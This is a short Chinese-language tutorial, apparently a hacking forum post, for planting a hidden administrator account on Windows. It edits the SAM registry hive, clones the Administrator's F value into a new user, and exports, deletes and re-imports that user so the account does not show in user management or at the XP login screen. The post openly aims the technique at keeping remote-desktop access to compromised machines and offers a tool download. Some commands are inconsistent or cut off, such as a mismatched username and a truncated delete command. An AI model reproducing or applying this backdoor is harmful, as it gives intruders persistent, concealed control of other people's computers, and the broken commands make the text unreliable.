一 以管理员账户打开注册表 ，找到这个键位HKEY_LOCAL_MACHINE→SAM→SAM。
右键→“权限”
重启注册表 因为刚才给了展开SAM权限，这时就可以按着这个顺序展开 。
SAM→Domains→Account→Users→Names
这里就是存储账户信息的。
二 建一个用户，加入管理员组。可以用命令也可以从图形界面下建立。
net user vpntest vpntest /add（用户名vpntest 密码vpntest的账户）
net localgroup administrators vpn001 /add（把vpntest账户加入administrators组）
建用户的同时观察SAM有什么变化
刷新下注册表发现
三 点开000001F4 右边的F 把里面的东西复制出来
把复制到的字符串粘贴到 （vpntest）000003EE→F里
四 把000003EE和vpntest键导出来
删除vpntest账户
net user vpntest /
可以在图形界面下。
五 刚导出的注册表，导入
完成！！！
在计算机管理的本地用户和组上也没显示，另外在用户管理也看不到。XP的话开机也不会显示vpntest账户。但是如果您是远程桌面种肉鸡的 话 在任务管理器→用户可以看见登陆信息。
另类方法
上传一个建隐藏用户的工具，它只能实现在xp开机时候不会显示建立的用户，但是在计算机管理的本地用户和组和用户管理里都是可以找到的。您可以下载去用。
